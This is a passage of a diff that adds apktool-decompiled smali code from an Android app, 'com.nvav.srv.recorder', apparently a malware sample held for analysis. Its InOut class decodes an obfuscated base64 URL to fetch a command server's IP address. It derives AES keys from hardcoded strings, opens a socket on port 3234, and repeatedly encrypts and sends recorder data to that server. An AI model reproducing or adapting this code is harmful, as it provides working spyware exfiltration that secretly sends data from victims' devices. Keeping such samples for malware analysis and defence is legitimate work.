||||
.line 80
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/InOut;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const/4 v1, 0x3
|
||||
|
||||
invoke-virtual {v0, v1}, Lcom/nvav/srv/recorder/Comand;->status(I)V
|
||||
|
||||
.line 81
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v1
|
||||
|
||||
iput-wide v1, v0, Lcom/nvav/srv/recorder/InOut;->data_read:J
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto/16 :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception v0
|
||||
|
||||
.line 86
|
||||
invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
|
||||
|
||||
.line 87
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut$Read;->this$0:Lcom/nvav/srv/recorder/InOut;
|
||||
|
||||
const/4 v1, 0x0
|
||||
|
||||
iput-object v1, v0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
goto/16 :goto_0
|
||||
|
||||
:cond_4
|
||||
return-void
|
||||
.end method
|
||||
857
apk_3234/apktool_output/smali/com/nvav/srv/recorder/InOut.smali
Normal file
857
apk_3234/apktool_output/smali/com/nvav/srv/recorder/InOut.smali
Normal file
@@ -0,0 +1,857 @@
|
||||
.class public Lcom/nvav/srv/recorder/InOut;
|
||||
.super Ljava/lang/Thread;
|
||||
.source "InOut.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/MemberClasses;
|
||||
value = {
|
||||
Lcom/nvav/srv/recorder/InOut$Read;
|
||||
}
|
||||
.end annotation
|
||||
|
||||
|
||||
# static fields
|
||||
.field static ast:[B
|
||||
|
||||
.field static ivByte:[B
|
||||
|
||||
.field static keyByte:[B
|
||||
|
||||
|
||||
# instance fields
|
||||
.field AddresURL:Ljava/lang/String;
|
||||
|
||||
.field Chenal:B
|
||||
|
||||
.field comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
.field data_read:J
|
||||
|
||||
.field documentUrl:Ljava/net/URL;
|
||||
|
||||
.field socket:Ljava/net/Socket;
|
||||
|
||||
.field time_read:J
|
||||
|
||||
.field ust:Ljava/lang/String;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method static constructor <clinit>()V
|
||||
.locals 2
|
||||
|
||||
.line 121
|
||||
const-string v0, "aHR0cHM6Ly9zMS5jYy12c3Qub25saW5lL2dldC1pcC1rci5waHA/cG9ydD0="
|
||||
|
||||
const/4 v1, 0x0
|
||||
|
||||
invoke-static {v0, v1}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
|
||||
|
||||
move-result-object v0
|
||||
|
||||
sput-object v0, Lcom/nvav/srv/recorder/InOut;->ast:[B
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public constructor <init>(Lcom/nvav/srv/recorder/Comand;)V
|
||||
.locals 3
|
||||
|
||||
.line 188
|
||||
invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
|
||||
|
||||
const/4 v0, 0x0
|
||||
|
||||
.line 52
|
||||
iput-object v0, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
.line 53
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v1
|
||||
|
||||
iput-wide v1, p0, Lcom/nvav/srv/recorder/InOut;->time_read:J
|
||||
|
||||
.line 54
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v1
|
||||
|
||||
iput-wide v1, p0, Lcom/nvav/srv/recorder/InOut;->data_read:J
|
||||
|
||||
.line 119
|
||||
const-string v1, "..."
|
||||
|
||||
iput-object v1, p0, Lcom/nvav/srv/recorder/InOut;->AddresURL:Ljava/lang/String;
|
||||
|
||||
.line 189
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/InOut;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
.line 191
|
||||
:try_start_0
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/ChenalC;->getInstance(Landroid/content/Context;)Lcom/nvav/srv/recorder/ChenalC;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p1}, Lcom/nvav/srv/recorder/ChenalC;->get()Ljava/lang/Byte;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/Byte;->byteValue()B
|
||||
|
||||
move-result p1
|
||||
|
||||
iput-byte p1, p0, Lcom/nvav/srv/recorder/InOut;->Chenal:B
|
||||
|
||||
if-nez p1, :cond_0
|
||||
|
||||
return-void
|
||||
|
||||
.line 193
|
||||
:cond_0
|
||||
const-string p1, "%s%d"
|
||||
|
||||
const/4 v0, 0x2
|
||||
|
||||
new-array v0, v0, [Ljava/lang/Object;
|
||||
|
||||
new-instance v1, Ljava/lang/String;
|
||||
|
||||
sget-object v2, Lcom/nvav/srv/recorder/InOut;->ast:[B
|
||||
|
||||
invoke-direct {v1, v2}, Ljava/lang/String;-><init>([B)V
|
||||
|
||||
const/4 v2, 0x0
|
||||
|
||||
aput-object v1, v0, v2
|
||||
|
||||
iget-byte v1, p0, Lcom/nvav/srv/recorder/InOut;->Chenal:B
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Byte;->valueOf(B)Ljava/lang/Byte;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
const/4 v2, 0x1
|
||||
|
||||
aput-object v1, v0, v2
|
||||
|
||||
invoke-static {p1, v0}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/InOut;->ust:Ljava/lang/String;
|
||||
|
||||
.line 194
|
||||
new-instance p1, Ljava/net/URL;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/InOut;->ust:Ljava/lang/String;
|
||||
|
||||
invoke-direct {p1, v0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
|
||||
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/InOut;->documentUrl:Ljava/net/URL;
|
||||
|
||||
.line 195
|
||||
const-string p1, "73!2#qweaSdzxc4r"
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/InOut;->MD5(Ljava/lang/String;)[B
|
||||
|
||||
move-result-object p1
|
||||
|
||||
sput-object p1, Lcom/nvav/srv/recorder/InOut;->keyByte:[B
|
||||
|
||||
.line 196
|
||||
const-string p1, "0_=op[l:\',./vf73"
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/InOut;->MD5(Ljava/lang/String;)[B
|
||||
|
||||
move-result-object p1
|
||||
|
||||
sput-object p1, Lcom/nvav/srv/recorder/InOut;->ivByte:[B
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 198
|
||||
invoke-virtual {p1}, Ljava/lang/Exception;->printStackTrace()V
|
||||
|
||||
:goto_0
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method static MD5(Ljava/lang/String;)[B
|
||||
.locals 2
|
||||
.annotation system Ldalvik/annotation/Throws;
|
||||
value = {
|
||||
Ljava/security/NoSuchAlgorithmException;,
|
||||
Ljava/io/UnsupportedEncodingException;
|
||||
}
|
||||
.end annotation
|
||||
|
||||
.line 38
|
||||
const-string v0, "MD5"
|
||||
|
||||
invoke-static {v0}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
const-string v1, "UTF-8"
|
||||
|
||||
invoke-virtual {p0, v1}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
|
||||
|
||||
move-result-object p0
|
||||
|
||||
invoke-virtual {v0, p0}, Ljava/security/MessageDigest;->digest([B)[B
|
||||
|
||||
move-result-object p0
|
||||
|
||||
return-object p0
|
||||
.end method
|
||||
|
||||
.method static decrypt([B)[B
|
||||
.locals 4
|
||||
.annotation system Ldalvik/annotation/Throws;
|
||||
value = {
|
||||
Ljavax/crypto/NoSuchPaddingException;,
|
||||
Ljava/security/NoSuchAlgorithmException;,
|
||||
Ljava/security/InvalidAlgorithmParameterException;,
|
||||
Ljava/security/InvalidKeyException;,
|
||||
Ljavax/crypto/BadPaddingException;,
|
||||
Ljavax/crypto/IllegalBlockSizeException;
|
||||
}
|
||||
.end annotation
|
||||
|
||||
.line 46
|
||||
const-string v0, "AES/CBC/PKCS5Padding"
|
||||
|
||||
invoke-static {v0}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
.line 47
|
||||
new-instance v1, Ljavax/crypto/spec/SecretKeySpec;
|
||||
|
||||
sget-object v2, Lcom/nvav/srv/recorder/InOut;->keyByte:[B
|
||||
|
||||
const-string v3, "AES"
|
||||
|
||||
invoke-direct {v1, v2, v3}, Ljavax/crypto/spec/SecretKeySpec;-><init>([BLjava/lang/String;)V
|
||||
|
||||
new-instance v2, Ljavax/crypto/spec/IvParameterSpec;
|
||||
|
||||
sget-object v3, Lcom/nvav/srv/recorder/InOut;->ivByte:[B
|
||||
|
||||
invoke-direct {v2, v3}, Ljavax/crypto/spec/IvParameterSpec;-><init>([B)V
|
||||
|
||||
const/4 v3, 0x2
|
||||
|
||||
invoke-virtual {v0, v3, v1, v2}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V
|
||||
|
||||
.line 48
|
||||
invoke-virtual {v0, p0}, Ljavax/crypto/Cipher;->doFinal([B)[B
|
||||
|
||||
move-result-object p0
|
||||
|
||||
return-object p0
|
||||
.end method
|
||||
|
||||
.method static encrypt([B)[B
|
||||
.locals 4
|
||||
.annotation system Ldalvik/annotation/Throws;
|
||||
value = {
|
||||
Ljavax/crypto/NoSuchPaddingException;,
|
||||
Ljava/security/NoSuchAlgorithmException;,
|
||||
Ljava/security/InvalidAlgorithmParameterException;,
|
||||
Ljava/security/InvalidKeyException;,
|
||||
Ljavax/crypto/BadPaddingException;,
|
||||
Ljavax/crypto/IllegalBlockSizeException;
|
||||
}
|
||||
.end annotation
|
||||
|
||||
.line 41
|
||||
const-string v0, "AES/CBC/PKCS5Padding"
|
||||
|
||||
invoke-static {v0}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
.line 42
|
||||
new-instance v1, Ljavax/crypto/spec/SecretKeySpec;
|
||||
|
||||
sget-object v2, Lcom/nvav/srv/recorder/InOut;->keyByte:[B
|
||||
|
||||
const-string v3, "AES"
|
||||
|
||||
invoke-direct {v1, v2, v3}, Ljavax/crypto/spec/SecretKeySpec;-><init>([BLjava/lang/String;)V
|
||||
|
||||
new-instance v2, Ljavax/crypto/spec/IvParameterSpec;
|
||||
|
||||
sget-object v3, Lcom/nvav/srv/recorder/InOut;->ivByte:[B
|
||||
|
||||
invoke-direct {v2, v3}, Ljavax/crypto/spec/IvParameterSpec;-><init>([B)V
|
||||
|
||||
const/4 v3, 0x1
|
||||
|
||||
invoke-virtual {v0, v3, v1, v2}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V
|
||||
|
||||
.line 43
|
||||
invoke-virtual {v0, p0}, Ljavax/crypto/Cipher;->doFinal([B)[B
|
||||
|
||||
move-result-object p0
|
||||
|
||||
return-object p0
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method Write(Ljava/io/OutputStream;[BI)V
|
||||
.locals 4
|
||||
.annotation system Ldalvik/annotation/Throws;
|
||||
value = {
|
||||
Ljava/io/IOException;
|
||||
}
|
||||
.end annotation
|
||||
|
||||
.line 94
|
||||
:try_start_0
|
||||
invoke-static {p2}, Lcom/nvav/srv/recorder/InOut;->encrypt([B)[B
|
||||
|
||||
move-result-object p2
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception v0
|
||||
|
||||
.line 96
|
||||
invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
|
||||
|
||||
const/4 v0, 0x0
|
||||
|
||||
.line 97
|
||||
iput-object v0, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
.line 99
|
||||
:goto_0
|
||||
array-length v0, p2
|
||||
|
||||
add-int/lit8 v0, v0, 0x1
|
||||
|
||||
invoke-virtual {p0, v0}, Lcom/nvav/srv/recorder/InOut;->putInt(I)[B
|
||||
|
||||
move-result-object v0
|
||||
|
||||
.line 100
|
||||
array-length v1, v0
|
||||
|
||||
:goto_1
|
||||
if-lez v1, :cond_1
|
||||
|
||||
add-int/lit8 v2, v1, -0x1
|
||||
|
||||
aget-byte v2, v0, v2
|
||||
|
||||
if-eqz v2, :cond_0
|
||||
|
||||
const/4 v2, 0x4
|
||||
|
||||
if-ge v1, v2, :cond_1
|
||||
|
||||
.line 102
|
||||
new-array v2, v1, [B
|
||||
|
||||
const/4 v3, 0x0
|
||||
|
||||
.line 103
|
||||
invoke-static {v0, v3, v2, v3, v1}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
|
||||
|
||||
move-object v0, v2
|
||||
|
||||
goto :goto_2
|
||||
|
||||
:cond_0
|
||||
add-int/lit8 v1, v1, -0x1
|
||||
|
||||
goto :goto_1
|
||||
|
||||
.line 108
|
||||
:cond_1
|
||||
:goto_2
|
||||
array-length v1, v0
|
||||
|
||||
invoke-virtual {p1, v1}, Ljava/io/OutputStream;->write(I)V
|
||||
|
||||
.line 109
|
||||
invoke-virtual {p1, v0}, Ljava/io/OutputStream;->write([B)V
|
||||
|
||||
.line 113
|
||||
invoke-virtual {p1, p2}, Ljava/io/OutputStream;->write([B)V
|
||||
|
||||
.line 114
|
||||
invoke-virtual {p1, p3}, Ljava/io/OutputStream;->write(I)V
|
||||
|
||||
.line 115
|
||||
invoke-virtual {p1}, Ljava/io/OutputStream;->flush()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method getInt([B)I
|
||||
.locals 3
|
||||
|
||||
.line 178
|
||||
array-length v0, p1
|
||||
|
||||
const/4 v1, 0x0
|
||||
|
||||
const/4 v2, 0x4
|
||||
|
||||
if-ge v0, v2, :cond_0
|
||||
|
||||
.line 179
|
||||
new-array v0, v2, [B
|
||||
|
||||
fill-array-data v0, :array_0
|
||||
|
||||
.line 180
|
||||
array-length v2, p1
|
||||
|
||||
invoke-static {p1, v1, v0, v1, v2}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
|
||||
|
||||
move-object p1, v0
|
||||
|
||||
.line 183
|
||||
:cond_0
|
||||
invoke-static {p1}, Ljava/nio/ByteBuffer;->wrap([B)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
sget-object v0, Ljava/nio/ByteOrder;->LITTLE_ENDIAN:Ljava/nio/ByteOrder;
|
||||
|
||||
invoke-virtual {p1, v0}, Ljava/nio/ByteBuffer;->order(Ljava/nio/ByteOrder;)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p1, v1}, Ljava/nio/ByteBuffer;->getInt(I)I
|
||||
|
||||
move-result p1
|
||||
|
||||
return p1
|
||||
|
||||
:array_0
|
||||
.array-data 1
|
||||
0x0t
|
||||
0x0t
|
||||
0x0t
|
||||
0x0t
|
||||
.end array-data
|
||||
.end method
|
||||
|
||||
.method putInt(I)[B
|
||||
.locals 2
|
||||
|
||||
const/4 v0, 0x4
|
||||
|
||||
.line 186
|
||||
invoke-static {v0}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
sget-object v1, Ljava/nio/ByteOrder;->LITTLE_ENDIAN:Ljava/nio/ByteOrder;
|
||||
|
||||
invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->order(Ljava/nio/ByteOrder;)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {v0, p1}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p1}, Ljava/nio/ByteBuffer;->array()[B
|
||||
|
||||
move-result-object p1
|
||||
|
||||
return-object p1
|
||||
.end method
|
||||
|
||||
.method public run()V
|
||||
.locals 11
|
||||
|
||||
const/4 v0, 0x2
|
||||
|
||||
const/4 v1, 0x1
|
||||
|
||||
const/4 v2, 0x0
|
||||
|
||||
.line 128
|
||||
:try_start_0
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/InOut;->documentUrl:Ljava/net/URL;
|
||||
|
||||
invoke-virtual {v3}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
.line 129
|
||||
invoke-static {}, Ljavax/xml/parsers/DocumentBuilderFactory;->newInstance()Ljavax/xml/parsers/DocumentBuilderFactory;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
.line 130
|
||||
invoke-virtual {v4}, Ljavax/xml/parsers/DocumentBuilderFactory;->newDocumentBuilder()Ljavax/xml/parsers/DocumentBuilder;
|
||||
|
||||
.line 131
|
||||
invoke-virtual {v3}, Ljava/net/URLConnection;->getInputStream()Ljava/io/InputStream;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
const/4 v4, 0x4
|
||||
|
||||
.line 132
|
||||
new-array v5, v4, [I
|
||||
|
||||
move v6, v2
|
||||
|
||||
:goto_0
|
||||
if-ge v6, v4, :cond_0
|
||||
|
||||
.line 133
|
||||
invoke-virtual {v3}, Ljava/io/InputStream;->read()I
|
||||
|
||||
move-result v7
|
||||
|
||||
aput v7, v5, v6
|
||||
|
||||
add-int/lit8 v6, v6, 0x1
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 134
|
||||
:cond_0
|
||||
const-string v3, "%d.%d.%d.%d"
|
||||
|
||||
new-array v4, v4, [Ljava/lang/Object;
|
||||
|
||||
aget v6, v5, v2
|
||||
|
||||
invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v6
|
||||
|
||||
aput-object v6, v4, v2
|
||||
|
||||
aget v6, v5, v1
|
||||
|
||||
invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v6
|
||||
|
||||
aput-object v6, v4, v1
|
||||
|
||||
aget v6, v5, v0
|
||||
|
||||
invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v6
|
||||
|
||||
aput-object v6, v4, v0
|
||||
|
||||
const/4 v6, 0x3
|
||||
|
||||
aget v5, v5, v6
|
||||
|
||||
invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v5
|
||||
|
||||
aput-object v5, v4, v6
|
||||
|
||||
invoke-static {v3, v4}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
iput-object v3, p0, Lcom/nvav/srv/recorder/InOut;->AddresURL:Ljava/lang/String;
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:catch_0
|
||||
move-exception v3
|
||||
|
||||
.line 136
|
||||
invoke-virtual {v3}, Ljava/lang/Exception;->printStackTrace()V
|
||||
|
||||
.line 138
|
||||
:goto_1
|
||||
new-instance v3, Lcom/nvav/srv/recorder/InOut$Read;
|
||||
|
||||
invoke-direct {v3, p0}, Lcom/nvav/srv/recorder/InOut$Read;-><init>(Lcom/nvav/srv/recorder/InOut;)V
|
||||
|
||||
invoke-virtual {v3}, Lcom/nvav/srv/recorder/InOut$Read;->start()V
|
||||
|
||||
.line 140
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v3
|
||||
|
||||
move v5, v2
|
||||
|
||||
move v6, v5
|
||||
|
||||
.line 141
|
||||
:goto_2
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/InOut;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
iget-boolean v7, v7, Lcom/nvav/srv/recorder/Comand;->open:Z
|
||||
|
||||
if-eqz v7, :cond_8
|
||||
|
||||
const-wide/16 v7, 0x28
|
||||
|
||||
.line 143
|
||||
:try_start_1
|
||||
invoke-static {v7, v8}, Lcom/nvav/srv/recorder/InOut;->sleep(J)V
|
||||
|
||||
.line 144
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v7
|
||||
|
||||
iget-wide v9, p0, Lcom/nvav/srv/recorder/InOut;->time_read:J
|
||||
|
||||
sub-long/2addr v7, v9
|
||||
|
||||
const-wide/16 v9, 0x1388
|
||||
|
||||
cmp-long v7, v7, v9
|
||||
|
||||
if-gtz v7, :cond_1
|
||||
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
if-nez v7, :cond_2
|
||||
|
||||
.line 145
|
||||
:cond_1
|
||||
new-instance v7, Ljava/net/Socket;
|
||||
|
||||
iget-object v8, p0, Lcom/nvav/srv/recorder/InOut;->AddresURL:Ljava/lang/String;
|
||||
|
||||
const/16 v9, 0xca2
|
||||
|
||||
invoke-direct {v7, v8, v9}, Ljava/net/Socket;-><init>(Ljava/lang/String;I)V
|
||||
|
||||
iput-object v7, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
.line 146
|
||||
invoke-virtual {v7}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
|
||||
|
||||
move-result-object v7
|
||||
|
||||
invoke-virtual {v7, v1}, Ljava/io/OutputStream;->write(I)V
|
||||
|
||||
.line 147
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
invoke-virtual {v7}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
|
||||
|
||||
move-result-object v7
|
||||
|
||||
iget-byte v8, p0, Lcom/nvav/srv/recorder/InOut;->Chenal:B
|
||||
|
||||
invoke-virtual {v7, v8}, Ljava/io/OutputStream;->write(I)V
|
||||
|
||||
.line 148
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
invoke-virtual {v7}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
|
||||
|
||||
move-result-object v7
|
||||
|
||||
invoke-virtual {v7}, Ljava/io/OutputStream;->flush()V
|
||||
|
||||
.line 149
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v7
|
||||
|
||||
iput-wide v7, p0, Lcom/nvav/srv/recorder/InOut;->time_read:J
|
||||
|
||||
.line 151
|
||||
:cond_2
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v7
|
||||
|
||||
iget-wide v9, p0, Lcom/nvav/srv/recorder/InOut;->data_read:J
|
||||
|
||||
sub-long/2addr v7, v9
|
||||
|
||||
const-wide/16 v9, 0x5dc
|
||||
|
||||
cmp-long v7, v7, v9
|
||||
|
||||
if-lez v7, :cond_3
|
||||
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v7
|
||||
|
||||
sub-long/2addr v7, v3
|
||||
|
||||
const-wide/16 v9, 0x1f4
|
||||
|
||||
cmp-long v7, v7, v9
|
||||
|
||||
if-lez v7, :cond_3
|
||||
|
||||
.line 152
|
||||
iget-object v7, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
invoke-virtual {v7}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
|
||||
|
||||
move-result-object v7
|
||||
|
||||
add-int/lit8 v8, v5, 0x1
|
||||
|
||||
int-to-byte v8, v8
|
||||
|
||||
new-array v9, v1, [B
|
||||
|
||||
aput-byte v5, v9, v2
|
||||
:try_end_1
|
||||
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_2
|
||||
|
||||
:try_start_2
|
||||
invoke-virtual {p0, v7, v9, v2}, Lcom/nvav/srv/recorder/InOut;->Write(Ljava/io/OutputStream;[BI)V
|
||||
|
||||
.line 153
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v3
|
||||
:try_end_2
|
||||
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_1
|
||||
|
||||
move v5, v8
|
||||
|
||||
goto :goto_3
|
||||
|
||||
:catch_1
|
||||
move-exception v7
|
||||
|
||||
move v5, v8
|
||||
|
||||
goto :goto_5
|
||||
|
||||
:cond_3
|
||||
:goto_3
|
||||
add-int/lit8 v7, v6, 0x1
|
||||
|
||||
int-to-byte v7, v7
|
||||
|
||||
if-ge v6, v0, :cond_4
|
||||
|
||||
move v6, v0
|
||||
|
||||
goto :goto_4
|
||||
|
||||
:cond_4
|
||||
move v6, v7
|
||||
|
||||
.line 156
|
||||
:goto_4
|
||||
:try_start_3
|
||||
new-instance v7, Ljava/io/ByteArrayOutputStream;
|
||||
|
||||
invoke-direct {v7}, Ljava/io/ByteArrayOutputStream;-><init>()V
|
||||
|
||||
.line 157
|
||||
:cond_5
|
||||
iget-object v8, p0, Lcom/nvav/srv/recorder/InOut;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v8}, Lcom/nvav/srv/recorder/Comand;->ReadCount()I
|
||||
|
||||
move-result v8
|
||||
|
||||
if-lez v8, :cond_6
|
||||
|
||||
.line 158
|
||||
iget-object v8, p0, Lcom/nvav/srv/recorder/InOut;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v8}, Lcom/nvav/srv/recorder/Comand;->ReadOut()[B
|
||||
|
||||
move-result-object v8
|
||||
|
||||
invoke-virtual {p0, v7, v8, v6}, Lcom/nvav/srv/recorder/InOut;->Write(Ljava/io/OutputStream;[BI)V
|
||||
|
||||
.line 159
|
||||
invoke-virtual {v7}, Ljava/io/ByteArrayOutputStream;->size()I
|
||||
|
||||
move-result v8
|
||||
|
||||
const/high16 v9, 0x80000
|
||||
|
||||
if-le v8, v9, :cond_5
|
||||
|
||||
.line 161
|
||||
:cond_6
|
||||
invoke-virtual {v7}, Ljava/io/ByteArrayOutputStream;->size()I
|
||||
|
||||
move-result v8
|
||||
|
||||
if-lez v8, :cond_7
|
||||
|
||||
.line 162
|
||||
invoke-virtual {v7}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
|
||||
|
||||
move-result-object v8
|
||||
|
||||
.line 166
|
||||
iget-object v9, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
invoke-virtual {v9}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
|
||||
|
||||
move-result-object v9
|
||||
|
||||
invoke-virtual {v9, v8}, Ljava/io/OutputStream;->write([B)V
|
||||
|
||||
.line 167
|
||||
iget-object v8, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
invoke-virtual {v8}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
|
||||
|
||||
move-result-object v8
|
||||
|
||||
invoke-virtual {v8}, Ljava/io/OutputStream;->flush()V
|
||||
|
||||
.line 169
|
||||
:cond_7
|
||||
invoke-virtual {v7}, Ljava/io/ByteArrayOutputStream;->close()V
|
||||
:try_end_3
|
||||
.catch Ljava/lang/Exception; {:try_start_3 .. :try_end_3} :catch_2
|
||||
|
||||
goto/16 :goto_2
|
||||
|
||||
:catch_2
|
||||
move-exception v7
|
||||
|
||||
.line 171
|
||||
:goto_5
|
||||
invoke-virtual {v7}, Ljava/lang/Exception;->printStackTrace()V
|
||||
|
||||
const/4 v7, 0x0
|
||||
|
||||
.line 172
|
||||
iput-object v7, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
|
||||
|
||||
goto/16 :goto_2
|
||||
|
||||
:cond_8
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,67 @@
|
||||
.class Lcom/nvav/srv/recorder/MActivity$1;
|
||||
.super Ljava/lang/Object;
|
||||
.source "MActivity.java"
|
||||
|
||||
# interfaces
|
||||
.implements Landroid/content/DialogInterface$OnClickListener;
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingMethod;
|
||||
value = Lcom/nvav/srv/recorder/MActivity;->ResetButton()V
|
||||
